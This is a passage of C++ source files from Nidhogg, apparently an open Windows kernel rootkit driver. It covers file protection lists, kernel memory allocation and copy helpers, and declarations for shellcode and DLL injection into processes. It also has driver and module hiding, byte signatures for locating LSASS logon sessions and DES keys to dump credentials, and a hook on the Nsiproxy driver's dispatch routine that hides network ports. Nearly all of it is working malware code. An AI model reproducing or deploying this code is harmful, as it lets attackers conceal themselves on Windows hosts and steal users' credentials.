return true; 270 | } 271 | else 272 | newLastIndex = i; 273 | } 274 | } 275 | return false; 276 | } 277 | 278 | /* 279 | * Description: 280 | * ClearFilesList is responsible for clearing the protected files list. 281 | * 282 | * Parameters: 283 | * There are no parameters. 284 | * 285 | * Returns: 286 | * There is no return value. 287 | */ 288 | void FileUtils::ClearFilesList() { 289 | AutoLock locker(this->Lock); 290 | 291 | for (ULONG i = 0; i <= this->Files.LastIndex; i++) { 292 | if (this->Files.FilesPath[i]) { 293 | ExFreePoolWithTag(this->Files.FilesPath[i], DRIVER_TAG); 294 | this->Files.FilesPath[i] = nullptr; 295 | } 296 | } 297 | 298 | this->Files.LastIndex = 0; 299 | this->Files.FilesCount = 0; 300 | } 301 | 302 | /* 303 | * Description: 304 | * QueryFiles is responsible for getting a protected file. 305 | * 306 | * Parameters: 307 | * @item [FileItem*] -- Protected file to get. 308 | * 309 | * Returns: 310 | * @status [NTSTATUS] -- Whether successfully copied or not. 311 | */ 312 | NTSTATUS FileUtils::QueryFiles(FileItem* item) { 313 | NTSTATUS status = STATUS_SUCCESS; 314 | errno_t err = 0; 315 | AutoLock locker(this->Lock); 316 | 317 | if (item->FileIndex == 0) { 318 | item->FileIndex = this->Files.FilesCount; 319 | 320 | if (this->Files.FilesCount > 0) { 321 | err = wcscpy_s(item->FilePath, this->Files.FilesPath[0]); 322 | 323 | if (err != 0) 324 | status = STATUS_INVALID_USER_BUFFER; 325 | } 326 | } 327 | else if (item->FileIndex > this->Files.LastIndex) { 328 | status = STATUS_INVALID_PARAMETER; 329 | } 330 | else { 331 | if (this->Files.FilesPath[item->FileIndex] == nullptr) 332 | return STATUS_INVALID_PARAMETER; 333 | 334 | err = wcscpy_s(item->FilePath, this->Files.FilesPath[item->FileIndex]); 335 | 336 | if (err != 0) 337 | status = STATUS_INVALID_USER_BUFFER; 338 | } 339 | 340 | return status; 341 | } 342 | -------------------------------------------------------------------------------- /Nidhogg/FileUtils.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "pch.h" 4 | #include "MemoryHelper.hpp" 5 | 6 | extern "C" { 7 | #include "WindowsTypes.hpp" 8 | #include "NidhoggCommon.h" 9 | } 10 | 11 | // Definitions. 12 | constexpr SIZE_T MAX_FILES = 256; 13 | constexpr SIZE_T SUPPORTED_HOOKED_NTFS_CALLBACKS = 1; 14 | 15 | struct ProtectedFile { 16 | WCHAR* FilePath; 17 | bool Protect; 18 | }; 19 | 20 | struct FileItem { 21 | ULONG FileIndex; 22 | WCHAR FilePath[MAX_PATH]; 23 | }; 24 | 25 | struct FilesList { 26 | ULONG LastIndex; 27 | ULONG FilesCount; 28 | WCHAR* FilesPath[MAX_FILES]; 29 | }; 30 | 31 | struct NtfsCallback { 32 | PVOID Address; 33 | bool Activated; 34 | }; 35 | 36 | class FileUtils { 37 | private: 38 | FilesList Files; 39 | FastMutex Lock; 40 | NtfsCallback Callbacks[SUPPORTED_HOOKED_NTFS_CALLBACKS]; 41 | 42 | public: 43 | void* operator new(size_t size) { 44 | return AllocateMemory(size, false); 45 | } 46 | 47 | void operator delete(void* p) { 48 | ExFreePoolWithTag(p, DRIVER_TAG); 49 | } 50 | 51 | FileUtils(); 52 | ~FileUtils(); 53 | 54 | bool FindFile(WCHAR* path); 55 | bool AddFile(WCHAR* path); 56 | bool RemoveFile(WCHAR* path); 57 | void ClearFilesList(); 58 | NTSTATUS QueryFiles(FileItem* item); 59 | NTSTATUS InstallNtfsHook(int irpMjFunction); 60 | NTSTATUS UninstallNtfsHook(int irpMjFunction); 61 | 62 | ULONG GetFilesCount() { return this->Files.FilesCount; } 63 | NtfsCallback GetNtfsCallback(ULONG index) { return this->Callbacks[index]; } 64 | }; 65 | 66 | inline FileUtils* NidhoggFileUtils; 67 | 68 | NTSTATUS HookedNtfsIrpCreate(PDEVICE_OBJECT DeviceObject, PIRP Irp); 69 | -------------------------------------------------------------------------------- /Nidhogg/InitialOperation.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "pch.h" 3 | 4 | constexpr SIZE_T InitialOperationsSize = 0; 5 | constexpr UCHAR InitialOperations = {}; 6 | -------------------------------------------------------------------------------- /Nidhogg/MemoryAllocator.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "pch.h" 3 | #include "MemoryHelper.hpp" 4 | 5 | template 6 | class MemoryAllocator { 7 | private: 8 | DataType AllocatedData; 9 | SIZE_T AllocatedSize; 10 | 11 | public: 12 | MemoryAllocator(DataType Data, SIZE_T Size) { 13 | this->AllocatedData = Data; 14 | this->AllocatedSize = Size; 15 | 16 | if (Size != 0) { 17 | Data = AllocateMemory(Size); 18 | 19 | if (Data) 20 | memset(Data, 0, Size); 21 | } 22 | } 23 | MemoryAllocator(DataType* Data, SIZE_T Size) { 24 | this->AllocatedData = nullptr; 25 | this->AllocatedSize = Size; 26 | 27 | if (Size != 0) { 28 | *Data = AllocateMemory(Size); 29 | 30 | if (*Data) { 31 | memset(*Data, 0, Size); 32 | this->AllocatedData = *Data; 33 | } 34 | } 35 | } 36 | ~MemoryAllocator() { 37 | if (this->AllocatedData) { 38 | ExFreePoolWithTag(this->AllocatedData, DRIVER_TAG); 39 | this->AllocatedData = nullptr; 40 | } 41 | } 42 | 43 | NTSTATUS CopyData(DataType Data, SIZE_T Size) { 44 | SIZE_T bytesWritten = 0; 45 | NTSTATUS status = STATUS_INVALID_PARAMETER; 46 | 47 | if (!Data || !this->AllocatedData) 48 | return STATUS_INVALID_BUFFER_SIZE; 49 | 50 | if (Size > this->AllocatedSize) 51 | return status; 52 | 53 | status = MmCopyVirtualMemory(PsGetCurrentProcess(), Data, PsGetCurrentProcess(), this->AllocatedData, Size, 54 | KernelMode, &bytesWritten); 55 | 56 | if (NT_SUCCESS(status)) { 57 | status = bytesWritten == Size ? STATUS_SUCCESS : STATUS_INVALID_BUFFER_SIZE; 58 | } 59 | return status; 60 | } 61 | }; 62 | -------------------------------------------------------------------------------- /Nidhogg/MemoryHelper.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "pch.h" 3 | 4 | extern "C" { 5 | #include "WindowsTypes.hpp" 6 | } 7 | #include "NidhoggCommon.h" 8 | 9 | /* 10 | * Description: 11 | * FindPattern is responsible for finding a pattern in memory range. 12 | * 13 | * Parameters: 14 | * @pattern [PCUCHAR] -- Pattern to search for. 15 | * @wildcard [UCHAR] -- Used wildcard. 16 | * @len [ULONG_PTR] -- Pattern length. 17 | * @base [const PVOID] -- Base address for searching. 18 | * @size [ULONG_PTR] -- Address range to search in. 19 | * @foundIndex [PULONG] -- Index of the found signature. 20 | * @relativeOffset [ULONG] -- If wanted, relative offset to get from. 21 | * @reversed [bool] -- If want to reverse search or regular search. 22 | * 23 | * Returns: 24 | * @address [PVOID] -- Pattern's address if found, else 0. 25 | */ 26 | inline PVOID FindPattern(PCUCHAR pattern, UCHAR wildcard, ULONG_PTR len, const PVOID base, ULONG_PTR size, 27 | PULONG foundIndex, ULONG relativeOffset, bool reversed = false) { 28 | bool found = false; 29 | 30 | if (pattern == NULL || base == NULL || len == 0 || size == 0) 31 | return NULL; 32 | 33 | if (!reversed) { 34 | for (ULONG i = 0; i < size; i++) { 35 | found = true; 36 | 37 | for (ULONG j = 0; j < len; j++) { 38 | if (pattern[j] != wildcard && pattern[j] != ((PCUCHAR)base)[i + j]) { 39 | found = false; 40 | break; 41 | } 42 | } 43 | 44 | if (found) { 45 | if (foundIndex) 46 | *foundIndex = i; 47 | return (PUCHAR)base + i + relativeOffset; 48 | } 49 | } 50 | } 51 | else { 52 | for (int i = (int)size; i >= 0; i--) { 53 | found = true; 54 | 55 | for (ULONG j = 0; j < len; j++) { 56 | if (pattern[j] != wildcard && pattern[j] != *((PCUCHAR)base - i + j)) { 57 | found = false; 58 | break; 59 | } 60 | } 61 | 62 | if (found) { 63 | if (foundIndex) 64 | *foundIndex = i; 65 | return (PUCHAR)base - i - relativeOffset; 66 | } 67 | } 68 | } 69 | 70 | return NULL; 71 | } 72 | 73 | /* 74 | * Description: 75 | * FreeVirtualMemory is responsible for freeing virtual memory and null it. 76 | * 77 | * Parameters: 78 | * @address [PVOID] -- Address to free. 79 | * 80 | * Returns: 81 | * There is no return value. 82 | */ 83 | inline void FreeVirtualMemory(_In_ PVOID address) { 84 | if (!address) 85 | return; 86 | ExFreePoolWithTag(address, DRIVER_TAG); 87 | address = NULL; 88 | } 89 | 90 | /* 91 | * Description: 92 | * AllocateVirtualMemory is responsible for allocating virtual memory with the right function depends on the windows version. 93 | * 94 | * Parameters: 95 | * @size [size_t] -- Size to allocate. 96 | * @paged [bool] -- Paged or non-paged. 97 | * @forceDeprecatedAlloc [bool] -- Force allocation with ExAllocatePoolWithTag. 98 | * 99 | * Returns: 100 | * @ptr [PointerType] -- Allocated pointer on success else NULL. 101 | */ 102 | template 103 | inline PointerType AllocateMemory(size_t size, bool paged = true, bool forceDeprecatedAlloc = false) { 104 | PVOID allocatedMem = NULL; 105 | 106 | if (AllocatePool2 && WindowsBuildNumber >= WIN_2004 && !forceDeprecatedAlloc) { 107 | allocatedMem = paged ? ((tExAllocatePool2)AllocatePool2)(POOL_FLAG_PAGED, size, DRIVER_TAG) : 108 | ((tExAllocatePool2)AllocatePool2)(POOL_FLAG_NON_PAGED, size, DRIVER_TAG); 109 | } 110 | else { 111 | #pragma warning( push ) 112 | #pragma warning( disable : 4996) 113 | allocatedMem = paged ? ExAllocatePoolWithTag(PagedPool, size, DRIVER_TAG) : 114 | ExAllocatePoolWithTag(NonPagedPool, size, DRIVER_TAG); 115 | #pragma warning( pop ) 116 | } 117 | 118 | if (allocatedMem) 119 | RtlSecureZeroMemory(allocatedMem, size); 120 | return reinterpret_cast(allocatedMem); 121 | } 122 | 123 | /* 124 | * Description: 125 | * IsIContained is responsible for check if one unicode string contain another, case insensitive. 126 | * 127 | * Parameters: 128 | * @container [UNICODE_STRING] -- Container string. 129 | * @containee [const wchar_t*] -- Containee string. 130 | * 131 | * Returns: 132 | * @status [bool] -- True if contained else false. 133 | */ 134 | inline bool IsIContained(UNICODE_STRING container, const wchar_t* containee) { 135 | bool contained = false; 136 | SIZE_T containeeLen = wcslen(containee); 137 | 138 | if (container.Length < containeeLen || container.Length == 0 || containeeLen == 0) 139 | return contained; 140 | 141 | for (int i = 0; i <= container.Length - containeeLen; ++i) { 142 | if (_wcsnicmp(&container.Buffer[i], containee, containeeLen) == 0) { 143 | contained = true; 144 | break; 145 | } 146 | } 147 | return contained; 148 | } 149 | 150 | /* 151 | * Description: 152 | * CopyUnicodeString is responsible for copying unicode string. 153 | * 154 | * Parameters: 155 | * @sourceProcess [PEPROCESS] -- Source process. 156 | * @source [PUNICODE_STRING] -- Source string. 157 | * @targetProcess [PEPROCESS] -- Target process. 158 | * @target [PUNICODE_STRING] -- Target string. 159 | * @mode [MODE] -- KernelMode / UserMode. 160 | * 161 | * Returns: 162 | * @status [NTSTATUS] -- NTSUCCESS if succeeded else failure code. 163 | */ 164 | inline NTSTATUS CopyUnicodeString(PEPROCESS sourceProcess, PUNICODE_STRING source, PEPROCESS targetProcess, PUNICODE_STRING target, MODE mode) { 165 | SIZE_T bytesWritten = 0; 166 | NTSTATUS status = STATUS_SUCCESS; 167 | 168 | target->Length = source->Length; 169 | target->MaximumLength = source->MaximumLength; 170 | 171 | if (!target->Buffer) { 172 | target->Buffer = AllocateMemory(static_cast(target->Length)); 173 | 174 | if (!target->Buffer) 175 | return STATUS_INSUFFICIENT_RESOURCES; 176 | memset(target->Buffer, 0, target->Length); 177 | } 178 | 179 | status = MmCopyVirtualMemory(sourceProcess, source->Buffer, targetProcess, 180 | target->Buffer, target->Length, (KPROCESSOR_MODE)mode, &bytesWritten); 181 | 182 | if (!NT_SUCCESS(status)) 183 | ExFreePoolWithTag(target->Buffer, DRIVER_TAG); 184 | 185 | return status; 186 | } 187 | 188 | /* 189 | * Description: 190 | * FreeUnicodeString is responsible for freeing unicode string. 191 | * 192 | * Parameters: 193 | * @source [PUNICODE_STRING] -- Source string. 194 | * 195 | * Returns: 196 | * There is no return value. 197 | */ 198 | inline void FreeUnicodeString(PUNICODE_STRING source) { 199 | if (source->Buffer) { 200 | ExFreePoolWithTag(source->Buffer, DRIVER_TAG); 201 | source->Buffer = NULL; 202 | source->Length = 0; 203 | source->MaximumLength = 0; 204 | } 205 | } 206 | 207 | /* 208 | * Description: 209 | * ProbeAddress is responsible for probing an address and returning specific status code on failure. 210 | * 211 | * Parameters: 212 | * @address [PVOID] -- Address to probe. 213 | * @len [SIZE_T] -- Structure size. 214 | * @alignment [ULONG] -- Address' required alignment. 215 | * @failureCode [NTSTATUS] -- Failure code. 216 | * 217 | * Returns: 218 | * @status [NTSTATUS] -- NTSUCCESS if succeeded else failure code. 219 | */ 220 | inline NTSTATUS ProbeAddress(PVOID address, SIZE_T len, ULONG alignment, NTSTATUS failureCode) { 221 | NTSTATUS status = STATUS_SUCCESS; 222 | 223 | if (!VALID_USERMODE_MEMORY((ULONGLONG)address)) 224 | return STATUS_ABANDONED; 225 | 226 | __try { 227 | ProbeForRead(address, len, alignment); 228 | } 229 | __except (EXCEPTION_EXECUTE_HANDLER) { 230 | status = failureCode; 231 | } 232 | 233 | return status; 234 | } 235 | -------------------------------------------------------------------------------- /Nidhogg/MemoryUtils.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "pch.h" 4 | #include "MemoryHelper.hpp" 5 | 6 | extern "C" { 7 | #include "WindowsTypes.hpp" 8 | #include "NidhoggCommon.h" 9 | } 10 | 11 | // Definitions. 12 | constexpr SIZE_T MAX_HIDDEN_DRIVERS = 255; 13 | constexpr SIZE_T ITEM_NOT_FOUND = MAX_HIDDEN_DRIVERS + 1; 14 | constexpr SIZE_T NO_ACCESS = 0; 15 | constexpr SIZE_T THREAD_PREVIOUSMODE_OFFSET = 0x232; 16 | constexpr SIZE_T RETURN_OPCODE = 0xC3; 17 | constexpr SIZE_T MOV_EAX_OPCODE = 0xB8; 18 | constexpr SIZE_T PATH_OFFSET = 0x190; 19 | constexpr SIZE_T ALERTABLE_THREAD_FLAG_BIT = 0x10; 20 | constexpr SIZE_T ALERTABLE_THREAD_FLAG_OFFSET = 0x74; 21 | constexpr SIZE_T GUI_THREAD_FLAG_BIT = 0x80; 22 | constexpr SIZE_T GUI_THREAD_FLAG_OFFSET = 0x78; 23 | constexpr SIZE_T THREAD_KERNEL_STACK_OFFSET = 0x58; 24 | constexpr SIZE_T THREAD_CONTEXT_STACK_POINTER_OFFSET = 0x2C8; 25 | constexpr UCHAR LogonSessionListLocation[] = {0xC1, 0xE1, 0x03, 0xE8, 0xCC, 0xCC, 0xCC , 0xFF}; 26 | constexpr UCHAR IvDesKeyLocation[] = { 0x21, 0x45, 0xD4, 0x48, 0x8D, 0x0D, 0xCC, 0xCC, 0xCC, 0x00, 0x21, 0x45, 0xD8 }; 27 | constexpr UCHAR FunctionStartSignature[] = { 0x40, 0x55 }; 28 | constexpr UCHAR LogonSessionListCountSignature[] = { 0x48, 0x89, 0x45, 0xCC, 0x44, 0x8B, 0x05 }; 29 | constexpr UCHAR LogonSessionListLockSignature[] = { 0xCC, 0x8D, 0x35 }; 30 | constexpr UCHAR LogonSessionListSignature[] = { 0x48, 0x8D, 0x0D, 0xCC, 0xCC, 0xCC, 0x00, 0x8B }; 31 | constexpr UCHAR IvSignature[] = { 0x44, 0x8B, 0xC6, 0x48, 0x8D, 0x15 }; 32 | constexpr UCHAR DesKeySignature[] = { 0x44, 0x8B, 0x4D, 0xD4, 0x48, 0x8D, 0x15 }; 33 | constexpr SIZE_T LogonSessionListCountOffset = 0xB; 34 | constexpr SIZE_T LogonSessionListLockOffset = 3; 35 | constexpr SIZE_T LogonSessionListOffset = 3; 36 | constexpr SIZE_T IvOffset = 6; 37 | constexpr SIZE_T DesKeyOffset = 7; 38 | constexpr SIZE_T DesKeyStructOffset = 0xB; 39 | constexpr SIZE_T LsaInitializeProtectedMemoryLen = 0x310; 40 | constexpr SIZE_T WLsaEnumerateLogonSessionLen = 0x2ad; 41 | constexpr SIZE_T LogonSessionListLocationDistance = 0x4e730; 42 | constexpr SIZE_T IvDesKeyLocationDistance = 0x43050; 43 | 44 | enum InjectionType { 45 | APCInjection, 46 | NtCreateThreadExInjection 47 | }; 48 | 49 | struct DllInformation { 50 | InjectionType Type; 51 | ULONG Pid; 52 | CHAR DllPath[MAX_PATH]; 53 | }; 54 | 55 | struct ShellcodeInformation { 56 | InjectionType Type; 57 | ULONG Pid; 58 | ULONG ShellcodeSize; 59 | PVOID Shellcode; 60 | PVOID Parameter1; 61 | ULONG Parameter1Size; 62 | PVOID Parameter2; 63 | ULONG Parameter2Size; 64 | PVOID Parameter3; 65 | ULONG Parameter3Size; 66 | }; 67 | 68 | struct PatchedModule { 69 | ULONG Pid; 70 | PVOID Patch; 71 | ULONG PatchLength; 72 | CHAR* FunctionName; 73 | WCHAR* ModuleName; 74 | }; 75 | 76 | struct HiddenModuleInformation { 77 | ULONG Pid; 78 | WCHAR* ModuleName; 79 | }; 80 | 81 | struct HiddenDriverInformation { 82 | WCHAR* DriverName; 83 | bool Hide; 84 | }; 85 | 86 | struct HiddenDriverItem { 87 | WCHAR* DriverName; 88 | PKLDR_DATA_TABLE_ENTRY originalEntry; 89 | }; 90 | 91 | struct HiddenDriversList { 92 | FastMutex Lock; 93 | ULONG Count; 94 | ULONG LastIndex; 95 | HiddenDriverItem Items[MAX_HIDDEN_DRIVERS]; 96 | }; 97 | 98 | struct PkgReadWriteData { 99 | MODE Mode; 100 | ULONG Pid; 101 | SIZE_T Size; 102 | PVOID LocalAddress; 103 | PVOID RemoteAddress; 104 | }; 105 | 106 | struct DesKeyInformation { 107 | ULONG Size; 108 | PVOID Data; 109 | }; 110 | 111 | struct Credentials { 112 | UNICODE_STRING Username; 113 | UNICODE_STRING Domain; 114 | UNICODE_STRING EncryptedHash; 115 | }; 116 | 117 | struct OutputCredentials { 118 | ULONG Index; 119 | Credentials Creds; 120 | }; 121 | 122 | struct LsassInformation { 123 | FastMutex Lock; 124 | DesKeyInformation DesKey; 125 | ULONG Count; 126 | ULONG LastCredsIndex; 127 | Credentials* Creds; 128 | }; 129 | 130 | // General functions. 131 | VOID ApcInjectionCallback(PKAPC Apc, PKNORMAL_ROUTINE* NormalRoutine, PVOID* NormalContext, PVOID* SystemArgument1, PVOID* SystemArgument2); 132 | VOID PrepareApcCallback(PKAPC Apc, PKNORMAL_ROUTINE* NormalRoutine, PVOID* NormalContext, PVOID* SystemArgument1, PVOID* SystemArgument2); 133 | 134 | 135 | class MemoryUtils { 136 | private: 137 | HiddenDriversList hiddenDrivers; 138 | PSYSTEM_SERVICE_DESCRIPTOR_TABLE ssdt; 139 | tNtCreateThreadEx NtCreateThreadEx; 140 | LsassInformation lastLsassInfo; 141 | 142 | bool AddHiddenDriver(HiddenDriverItem item); 143 | ULONG FindHiddenDriver(HiddenDriverItem item); 144 | bool RemoveHiddenDriver(HiddenDriverItem item); 145 | bool RemoveHiddenDriver(ULONG index); 146 | NTSTATUS VadHideObject(PEPROCESS Process, ULONG_PTR TargetAddress); 147 | TABLE_SEARCH_RESULT VadFindNodeOrParent(PRTL_AVL_TABLE Table, ULONG_PTR TargetPageAddress, PRTL_BALANCED_NODE* OutNode, EX_PUSH_LOCK* PageTableCommitmentLock); 148 | PVOID GetModuleBase(PEPROCESS Process, const wchar_t* moduleName); 149 | PVOID GetFunctionAddress(PVOID moduleBase, const char* functionName); 150 | NTSTATUS FindAlertableThread(HANDLE pid, PETHREAD* Thread); 151 | NTSTATUS GetSSDTAddress(); 152 | PVOID GetSSDTFunctionAddress(const char* functionName); 153 | void SetCredLastIndex(); 154 | 155 | public: 156 | void* operator new(size_t size) { 157 | return AllocateMemory(size, false); 158 | } 159 | 160 | void operator delete(void* p) { 161 | if (p) 162 | ExFreePoolWithTag(p, DRIVER_TAG); 163 | } 164 | 165 | MemoryUtils(); 166 | ~MemoryUtils(); 167 | 168 | PVOID GetFuncAddress(const char* functionName, const wchar_t* moduleName, ULONG pid = 0); 169 | NTSTATUS KeWriteProcessMemory(PVOID sourceDataAddress, PEPROCESS TargetProcess, PVOID targetAddress, SIZE_T dataSize, MODE mode, bool alignAddr = true); 170 | NTSTATUS KeReadProcessMemory(PEPROCESS Process, PVOID sourceAddress, PVOID targetAddress, SIZE_T dataSize, MODE mode); 171 | NTSTATUS PatchModule(PatchedModule* ModuleInformation); 172 | NTSTATUS InjectShellcodeAPC(ShellcodeInformation* ShellcodeInformation, bool isInjectedDll = false); 173 | NTSTATUS InjectShellcodeThread(ShellcodeInformation* ShellcodeInfo); 174 | NTSTATUS InjectDllThread(DllInformation* DllInfo); 175 | NTSTATUS InjectDllAPC(DllInformation* DllInfo); 176 | NTSTATUS HideModule(HiddenModuleInformation* ModuleInformation); 177 | NTSTATUS HideDriver(HiddenDriverInformation* DriverInformation); 178 | NTSTATUS UnhideDriver(HiddenDriverInformation* DriverInformation); 179 | NTSTATUS DumpCredentials(ULONG* AllocationSize); 180 | NTSTATUS GetDesKey(DesKeyInformation* DesKey); 181 | NTSTATUS GetCredentials(OutputCredentials* Credential); 182 | 183 | bool FoundNtCreateThreadEx() { return NtCreateThreadEx != NULL; } 184 | ULONG GetHiddenDrivers() { return this->hiddenDrivers.Count; } 185 | }; 186 | 187 | inline MemoryUtils* NidhoggMemoryUtils; 188 | -------------------------------------------------------------------------------- /Nidhogg/ModuleParser.cpp: -------------------------------------------------------------------------------- 1 | #include "pch.h" 2 | #include "ModuleParser.h" 3 | #include "MemoryUtils.hpp" 4 | #include "ProcessUtils.hpp" 5 | 6 | ModuleParser::ModuleParser() { 7 | this->optionsSize = 1; 8 | this->options = AllocateMemory(this->optionsSize * sizeof(OptionMetadata)); 9 | 10 | if (!this->options) 11 | ExRaiseStatus(STATUS_INSUFFICIENT_RESOURCES); 12 | 13 | this->options[0] = { Options::Hide, { 2, { ArgType::ULong, ArgType::WCharPtr } } }; 14 | } 15 | 16 | /* 17 | * Description: 18 | * Execute is responsible for executing a command and returning its value. 19 | * 20 | * Parameters: 21 | * @commandId [Options] -- Command to run. 22 | * @args [PVOID*] -- Array of args to send to the command. 23 | * 24 | * Returns: 25 | * @status [NTSTATUS] -- Result of the command. 26 | */ 27 | NTSTATUS ModuleParser::Execute(Options commandId, PVOID args[MAX_ARGS]) { 28 | HiddenModuleInformation hiddenModule{}; 29 | UNICODE_STRING wModuleName = { 0 }; 30 | ANSI_STRING aModuleName = { 0 }; 31 | NTSTATUS status = STATUS_SUCCESS; 32 | 33 | if (!Features.ModuleHiding) 34 | return STATUS_UNSUCCESSFUL; 35 | 36 | hiddenModule.Pid = *(ULONG*)args[0]; 37 | 38 | if (!IsValidPid(hiddenModule.Pid)) 39 | return STATUS_INVALID_PARAMETER; 40 | 41 | // Converting string to unicode. 42 | RtlInitAnsiString(&aModuleName, (PCHAR)args[1]); 43 | status = RtlAnsiStringToUnicodeString(&wModuleName, &aModuleName, TRUE); 44 | 45 | if (!NT_SUCCESS(status)) 46 | return status; 47 | 48 | hiddenModule.ModuleName = wModuleName.Buffer; 49 | 50 | switch (commandId) { 51 | case Options::Hide: 52 | { 53 | status = NidhoggMemoryUtils->HideModule(&hiddenModule); 54 | break; 55 | } 56 | default: 57 | { 58 | status = STATUS_NOT_IMPLEMENTED; 59 | break; 60 | } 61 | } 62 | 63 | if (hiddenModule.ModuleName) 64 | RtlFreeUnicodeString(&wModuleName); 65 | 66 | return status; 67 | } 68 | -------------------------------------------------------------------------------- /Nidhogg/ModuleParser.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "pch.h" 3 | #include "BaseParser.h" 4 | 5 | class ModuleParser : public BaseParser 6 | { 7 | protected: 8 | NTSTATUS Execute(Options commandId, PVOID args[MAX_ARGS]) override; 9 | 10 | public: 11 | ModuleParser(); 12 | }; 13 | 14 | -------------------------------------------------------------------------------- /Nidhogg/NetworkParser.cpp: -------------------------------------------------------------------------------- 1 | #include "pch.h" 2 | #include "NetworkParser.h" 3 | #include "NetworkUtils.hpp" 4 | 5 | NetworkParser::NetworkParser() { 6 | this->optionsSize = 3; 7 | this->options = AllocateMemory(this->optionsSize * sizeof(OptionMetadata)); 8 | 9 | if (!this->options) 10 | ExRaiseStatus(STATUS_INSUFFICIENT_RESOURCES); 11 | 12 | ArgType defaultTypes[3] = { ArgType::ULong, ArgType::ULong, ArgType::ULong }; 13 | 14 | this->options[0] = { Options::Clear, {} }; 15 | this->options[1] = { Options::Hide, { 3, { ArgType::ULong, ArgType::ULong, 16 | ArgType::ULong } } }; 17 | this->options[2] = { Options::Unhide, { 3, { ArgType::ULong, ArgType::ULong, 18 | ArgType::ULong } } }; 19 | } 20 | 21 | /* 22 | * Description: 23 | * Execute is responsible for executing a command and returning its value. 24 | * 25 | * Parameters: 26 | * @commandId [Options] -- Command to run. 27 | * @args [PVOID*] -- Array of args to send to the command. 28 | * 29 | * Returns: 30 | * @status [NTSTATUS] -- Result of the command. 31 | */ 32 | NTSTATUS NetworkParser::Execute(Options commandId, PVOID args[MAX_ARGS]) { 33 | NTSTATUS status = STATUS_SUCCESS; 34 | HiddenPort hiddenPort{}; 35 | 36 | if (commandId != Options::Clear) { 37 | hiddenPort.Port = *(USHORT*)args[0]; 38 | hiddenPort.Type = *(PortType*)args[2]; 39 | 40 | if (hiddenPort.Port == 0 || (hiddenPort.Type != PortType::TCP && hiddenPort.Type != PortType::UDP) || 41 | *(ULONG*)args[1] > 1) 42 | return STATUS_INVALID_PARAMETER; 43 | 44 | hiddenPort.Remote = *(bool*)args[1]; 45 | } 46 | 47 | switch (commandId) { 48 | case Options::Add: 49 | { 50 | if (NidhoggNetworkUtils->GetPortsCount() == MAX_PORTS) { 51 | status = STATUS_TOO_MANY_CONTEXT_IDS; 52 | break; 53 | } 54 | 55 | if (!NidhoggNetworkUtils->FindHiddenPort(hiddenPort)) { 56 | if (!NidhoggNetworkUtils->AddHiddenPort(hiddenPort)) { 57 | status = STATUS_UNSUCCESSFUL; 58 | break; 59 | } 60 | } 61 | break; 62 | } 63 | case Options::Remove: 64 | { 65 | if (NidhoggNetworkUtils->GetPortsCount() == 0) { 66 | status = STATUS_NOT_FOUND; 67 | break; 68 | } 69 | 70 | if (!NidhoggNetworkUtils->RemoveHiddenPort(hiddenPort)) { 71 | status = STATUS_NOT_FOUND; 72 | break; 73 | } 74 | 75 | break; 76 | } 77 | case Options::Clear: 78 | { 79 | NidhoggNetworkUtils->ClearHiddenPortsList(); 80 | break; 81 | } 82 | default: 83 | { 84 | status = STATUS_NOT_IMPLEMENTED; 85 | break; 86 | } 87 | } 88 | 89 | return status; 90 | } 91 | -------------------------------------------------------------------------------- /Nidhogg/NetworkParser.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "pch.h" 3 | #include "BaseParser.h" 4 | 5 | class NetworkParser : public BaseParser 6 | { 7 | protected: 8 | NTSTATUS Execute(Options commandId, PVOID args[MAX_ARGS]) override; 9 | 10 | public: 11 | NetworkParser(); 12 | }; 13 | 14 | -------------------------------------------------------------------------------- /Nidhogg/NetworkUtils.cpp: -------------------------------------------------------------------------------- 1 | #include "pch.h" 2 | #include "NetworkUtils.hpp" 3 | 4 | NetworkUtils::NetworkUtils() { 5 | this->CallbackActivated = false; 6 | OriginalNsiDispatchAddress = NULL; 7 | this->HiddenPortsList.LastIndex = 0; 8 | this->HiddenPortsList.PortsCount = 0; 9 | memset(&this->HiddenPortsList.Ports, 0, MAX_PORTS * sizeof(HiddenPort)); 10 | this->HiddenPortsList.Lock.Init(); 11 | } 12 | 13 | NetworkUtils::~NetworkUtils() { 14 | if (this->CallbackActivated) { 15 | this->CallbackActivated = false; 16 | UninstallNsiHook(); 17 | this->OriginalNsiDispatchAddress = NULL; 18 | } 19 | ClearHiddenPortsList(); 20 | } 21 | 22 | /* 23 | * Description: 24 | * InstallNsiHook is responsible to hook Nsi's device io control handler. 25 | * 26 | * Parameters: 27 | * There are no parameters. 28 | * 29 | * Returns: 30 | * @status [NTSTATUS] -- Whether installed or not. 31 | */ 32 | NTSTATUS NetworkUtils::InstallNsiHook() { 33 | UNICODE_STRING driverName; 34 | PDRIVER_OBJECT driverObject = nullptr; 35 | NTSTATUS status = STATUS_SUCCESS; 36 | 37 | RtlInitUnicodeString(&driverName, L"\\Driver\\Nsiproxy"); 38 | status = ObReferenceObjectByName(&driverName, OBJ_CASE_INSENSITIVE, NULL, 0, *IoDriverObjectType, KernelMode, NULL, (PVOID*)&driverObject); 39 | 40 | if (!NT_SUCCESS(status)) 41 | return status; 42 | 43 | this->OriginalNsiDispatchAddress = (PVOID)InterlockedExchange64((LONG64*)&driverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL], (LONG64)HookedNsiDispatch); 44 | this->CallbackActivated = true; 45 | 46 | ObDereferenceObject(driverObject); 47 | return status; 48 | } 49 | 50 | /* 51 | * Description: 52 | * UninstallNsiHook is responsible to unhook Nsi's device io control handler. 53 | * 54 | * Parameters: 55 | * There are no parameters. 56 | * 57 | * Returns: 58 | * @status [NTSTATUS] -- Whether unhooked or not. 59 | */ 60 | NTSTATUS NetworkUtils::UninstallNsiHook() { 61 | UNICODE_STRING driverName; 62 | PDRIVER_OBJECT driverObject = nullptr; 63 | NTSTATUS status = STATUS_SUCCESS; 64 | 65 | RtlInitUnicodeString(&driverName, L"\\Driver\\Nsiproxy"); 66 | status = ObReferenceObjectByName(&driverName, OBJ_CASE_INSENSITIVE, NULL, 0, *IoDriverObjectType, KernelMode, NULL, (PVOID*)&driverObject); 67 | 68 | if (!NT_SUCCESS(status)) 69 | return status; 70 | 71 | 